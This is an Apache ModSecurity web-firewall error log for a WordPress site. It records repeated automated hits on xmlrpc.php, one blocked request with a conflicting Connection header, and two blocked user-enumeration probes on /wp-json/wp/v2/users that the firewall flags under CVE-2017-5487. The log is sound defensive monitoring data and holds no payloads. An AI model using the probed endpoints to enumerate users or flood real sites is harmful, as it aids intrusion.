[Wed Apr 15 19:07:29.937448 2026] [:error] [pid 30957:tid 31007] [client 103.99.181.113:58533] [client 103.99.181.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.99.181.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9xcX5gwVEVXHfVSiptAwAAAFI"]
[Wed Apr 15 19:14:05.162357 2026] [:error] [pid 30958:tid 31028] [client 46.105.230.99:24680] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9y_ceG3wSKTO7NWFGLiQAAAMw"]
[Wed Apr 15 19:16:10.085818 2026] [:error] [pid 30958:tid 31030] [client 5.42.124.21:38818] [client 5.42.124.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.42.124.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9zeseG3wSKTO7NWFGMPgAAAM4"]
[Wed Apr 15 19:18:20.468085 2026] [:error] [pid 37370:tid 37374] [client 67.205.40.180:50280] [client 67.205.40.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.40.180, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9z_Hg-gnM2Ga0cGAAFiwAAAQI"]
[Wed Apr 15 19:22:33.641084 2026] [:error] [pid 30958:tid 31020] [client 165.22.37.239:42032] [client 165.22.37.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.37.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad90-ceG3wSKTO7NWFGN8gAAAMQ"]
[Wed Apr 15 19:28:05.010530 2026] [:error] [pid 37370:tid 37394] [client 54.38.241.153:36146] [client 54.38.241.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.241.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad92RXg-gnM2Ga0cGAANtAAAARY"]
[Wed Apr 15 19:30:23.427541 2026] [:error] [pid 37370:tid 37373] [client 157.66.27.54:50338] [client 157.66.27.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.54, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad92z3g-gnM2Ga0cGAAPowAAAQE"]
[Wed Apr 15 19:32:20.491371 2026] [:error] [pid 37370:tid 37373] [client 13.235.96.22:57558] [client 13.235.96.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.235.96.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad93RHg-gnM2Ga0cGAARdQAAAQE"]
[Wed Apr 15 19:34:50.329553 2026] [:error] [pid 30958:tid 31020] [client 51.210.123.31:52346] [client 51.210.123.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.123.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad932seG3wSKTO7NWFGRzgAAAMQ"]
[Wed Apr 15 19:37:58.557111 2026] [:error] [pid 30958:tid 31034] [client 213.165.69.184:36262] [client 213.165.69.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.165.69.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad94lseG3wSKTO7NWFGSlgAAANI"]
[Wed Apr 15 19:41:01.239181 2026] [:error] [pid 30957:tid 31004] [client 188.166.14.36:44716] [client 188.166.14.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.14.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad95TX5gwVEVXHfVSip10gAAAE8"]
[Wed Apr 15 19:41:32.805722 2026] [:error] [pid 31053:tid 31067] [client 185.199.223.27:51754] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad95bBcEkLCmvF0fjDe2DgAAAIs"]
[Wed Apr 15 19:42:49.968692 2026] [:error] [pid 30957:tid 30993] [client 144.91.86.124:50952] [client 144.91.86.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.91.86.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad95uX5gwVEVXHfVSip2ewAAAEQ"]
[Wed Apr 15 19:44:50.048745 2026] [:error] [pid 31053:tid 31065] [client 43.156.13.166:58928] [client 43.156.13.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.156.13.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad96MhcEkLCmvF0fjDe3zgAAAIk"]
[Wed Apr 15 19:45:04.155449 2026] [:error] [pid 30957:tid 31008] [client 54.38.241.153:56322] [client 54.38.241.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.241.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad96QH5gwVEVXHfVSip3JwAAAFM"]
[Wed Apr 15 19:46:19.267685 2026] [:error] [pid 30956:tid 30973] [client 200.152.177.16:59024] [client 200.152.177.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.152.177.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad96i0BGUpjaWntNYq1nIAAAAA0"]
[Wed Apr 15 19:47:14.376790 2026] [:error] [pid 30958:tid 31030] [client 46.225.100.56:46622] [client 46.225.100.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.225.100.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad96wseG3wSKTO7NWFGWAgAAAM4"]
[Wed Apr 15 19:51:47.519689 2026] [:error] [pid 37370:tid 37385] [client 51.68.74.67:50516] [client 51.68.74.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.68.74.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9703g-gnM2Ga0cGAAdZAAAAQ0"]
[Wed Apr 15 19:58:41.939849 2026] [:error] [pid 31053:tid 31075] [client 85.214.144.101:52910] [client 85.214.144.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.144.101, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad99cRcEkLCmvF0fjDe-SwAAAJM"]
[Wed Apr 15 20:06:08.182823 2026] [:error] [pid 30958:tid 31035] [client 95.211.55.162:57048] [client 95.211.55.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.211.55.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9_MMeG3wSKTO7NWFGcfAAAANM"]
[Wed Apr 15 20:08:17.905702 2026] [:error] [pid 37370:tid 37376] [client 141.95.66.91:40308] [client 141.95.66.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.95.66.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9_sXg-gnM2Ga0cGAAnDQAAAQQ"]
[Wed Apr 15 20:11:40.999016 2026] [:error] [pid 31053:tid 31068] [client 212.129.7.184:55632] [client 212.129.7.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.129.7.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-AfBcEkLCmvF0fjDfEdgAAAIw"]
[Wed Apr 15 20:13:17.434827 2026] [:error] [pid 31053:tid 31072] [client 148.113.180.195:51062] [client 148.113.180.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.180.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-A3RcEkLCmvF0fjDfFOgAAAJA"]
[Wed Apr 15 20:17:48.913385 2026] [:error] [pid 30956:tid 30973] [client 141.94.139.189:42930] [client 141.94.139.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.139.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-B7EBGUpjaWntNYq1upgAAAA0"]
[Wed Apr 15 20:26:06.908097 2026] [:error] [pid 31053:tid 31077] [client 51.91.186.167:20165] [client 51.91.186.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.91.186.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-D3hcEkLCmvF0fjDfMewAAAJU"]
[Wed Apr 15 20:26:27.250160 2026] [:error] [pid 30957:tid 30997] [client 43.135.145.77:36888] [client 43.135.145.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ad-D835gwVEVXHfVSiqCwgAAAEg"]
[Wed Apr 15 20:33:53.214859 2026] [:error] [pid 37370:tid 37375] [client 103.153.2.10:35268] [client 103.153.2.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.153.2.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-FsXg-gnM2Ga0cGAA6VwAAAQM"]
[Wed Apr 15 20:34:30.766314 2026] [:error] [pid 30957:tid 31009] [client 209.42.18.249:56434] [client 209.42.18.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.42.18.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-F1n5gwVEVXHfVSiqGCwAAAFQ"]
[Wed Apr 15 20:34:37.355947 2026] [:error] [pid 30958:tid 31030] [client 152.53.87.236:43588] [client 152.53.87.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.87.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-F3ceG3wSKTO7NWFGmQQAAAM4"]
[Wed Apr 15 20:35:57.895631 2026] [:error] [pid 37370:tid 37388] [client 51.159.190.214:51712] [client 51.159.190.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.190.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-GLXg-gnM2Ga0cGAA7lQAAARA"]
[Wed Apr 15 20:41:43.667191 2026] [:error] [pid 30956:tid 30975] [client 103.153.2.10:49346] [client 103.153.2.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.153.2.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-Hh0BGUpjaWntNYq11fgAAAA8"]
[Wed Apr 15 20:45:14.049339 2026] [:error] [pid 37370:tid 37394] [client 185.199.223.39:38452] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-IWng-gnM2Ga0cGABBdQAAARY"]
[Wed Apr 15 20:47:53.440929 2026] [:error] [pid 30958:tid 31027] [client 13.239.161.156:54832] [client 13.239.161.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.239.161.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-I-ceG3wSKTO7NWFGpigAAAMs"]
[Wed Apr 15 21:08:11.109050 2026] [:error] [pid 37370:tid 37387] [client 23.98.148.92:38284] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-Nu3g-gnM2Ga0cGABPeQAAAQ8"]
[Wed Apr 15 21:13:51.093578 2026] [:error] [pid 30957:tid 31003] [client 51.159.214.31:32930] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-PD35gwVEVXHfVSiqRlAAAAE4"]
[Wed Apr 15 21:15:09.725429 2026] [:error] [pid 30958:tid 31016] [client 95.110.143.247:51038] [client 95.110.143.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.110.143.247, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-PXceG3wSKTO7NWFGzeAAAAMA"]
[Wed Apr 15 21:20:48.123182 2026] [:error] [pid 30956:tid 30972] [client 162.19.25.160:53436] [client 162.19.25.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.19.25.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-QsEBGUpjaWntNYq2B0gAAAAw"]
[Wed Apr 15 21:21:41.773513 2026] [:error] [pid 30956:tid 30960] [client 95.211.55.162:46198] [client 95.211.55.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.211.55.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-Q5UBGUpjaWntNYq2CkgAAAAA"]
[Wed Apr 15 21:22:23.105023 2026] [:error] [pid 37370:tid 37380] [client 106.222.216.237:16856] [client 106.222.216.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.216.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-RD3g-gnM2Ga0cGABiAgAAAQg"]
[Wed Apr 15 21:22:24.700908 2026] [:error] [pid 31053:tid 31056] [client 106.222.216.237:20238] [client 106.222.216.237] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ad-REBcEkLCmvF0fjDfvpAAAAIA"]
[Wed Apr 15 21:22:28.603188 2026] [:error] [pid 31053:tid 31067] [client 106.222.216.237:20238] [client 106.222.216.237] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ad-RFBcEkLCmvF0fjDfvzQAAAIs"]
[Wed Apr 15 21:25:31.607284 2026] [:error] [pid 37370:tid 37381] [client 223.233.77.246:25391] [client 223.233.77.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.77.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-Ry3g-gnM2Ga0cGABpPQAAAQk"]
[Wed Apr 15 21:26:17.303175 2026] [:error] [pid 31053:tid 31072] [client 35.226.125.165:51190] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-R-RcEkLCmvF0fjDf0sgAAAJA"]
[Wed Apr 15 21:29:40.885636 2026] [:error] [pid 30956:tid 30970] [client 195.242.102.130:55450] [client 195.242.102.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.242.102.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-SxEBGUpjaWntNYq2JTAAAAAo"]
[Wed Apr 15 21:31:55.065244 2026] [:error] [pid 30958:tid 31034] [client 167.86.71.49:53142] [client 167.86.71.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.86.71.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-TS8eG3wSKTO7NWFHDmAAAANI"]
[Wed Apr 15 21:32:47.254107 2026] [:error] [pid 30957:tid 30992] [client 23.98.148.92:53306] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-Tf35gwVEVXHfVSiqhuAAAAEM"]
[Wed Apr 15 21:34:45.662324 2026] [:error] [pid 30958:tid 31018] [client 54.37.239.214:36746] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-T9ceG3wSKTO7NWFHGlwAAAMI"]
[Wed Apr 15 21:35:37.073322 2026] [:error] [pid 31053:tid 31062] [client 23.98.148.92:47334] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-UKRcEkLCmvF0fjDf-RQAAAIY"]
[Wed Apr 15 21:35:58.460519 2026] [:error] [pid 31053:tid 31066] [client 34.140.181.23:46657] [client 34.140.181.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.181.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-UPhcEkLCmvF0fjDf-twAAAIo"]
[Wed Apr 15 21:40:29.111024 2026] [:error] [pid 37370:tid 37380] [client 82.223.33.117:52552] [client 82.223.33.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.33.117, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-VTXg-gnM2Ga0cGAB-0AAAAQg"]
[Wed Apr 15 21:43:11.344505 2026] [:error] [pid 30956:tid 30963] [client 143.244.166.58:49138] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-V70BGUpjaWntNYq2QnwAAAAM"]
[Wed Apr 15 21:45:47.848342 2026] [:error] [pid 37370:tid 37387] [client 217.160.22.146:60550] [client 217.160.22.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.22.146, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-Wi3g-gnM2Ga0cGACEXgAAAQ8"]
[Wed Apr 15 22:00:32.232045 2026] [:error] [pid 23913:tid 23929] [client 109.172.115.12:35030] [client 109.172.115.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.172.115.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-aAFUaK3MLdSaLOyi48wAAAU4"]
[Wed Apr 15 22:00:45.878661 2026] [:error] [pid 30958:tid 31022] [client 180.181.244.244:45572] [client 180.181.244.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.181.244.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-aDceG3wSKTO7NWFHVcQAAAMY"]
[Wed Apr 15 22:01:59.983536 2026] [:error] [pid 30957:tid 31012] [client 80.122.189.88:56592] [client 80.122.189.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.122.189.88, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-aV35gwVEVXHfVSiqvUQAAAFc"]
[Wed Apr 15 22:12:23.324450 2026] [:error] [pid 31053:tid 31066] [client 157.66.26.248:33794] [client 157.66.26.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.26.248, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad-cxxcEkLCmvF0fjDcgnAAAAIo"]
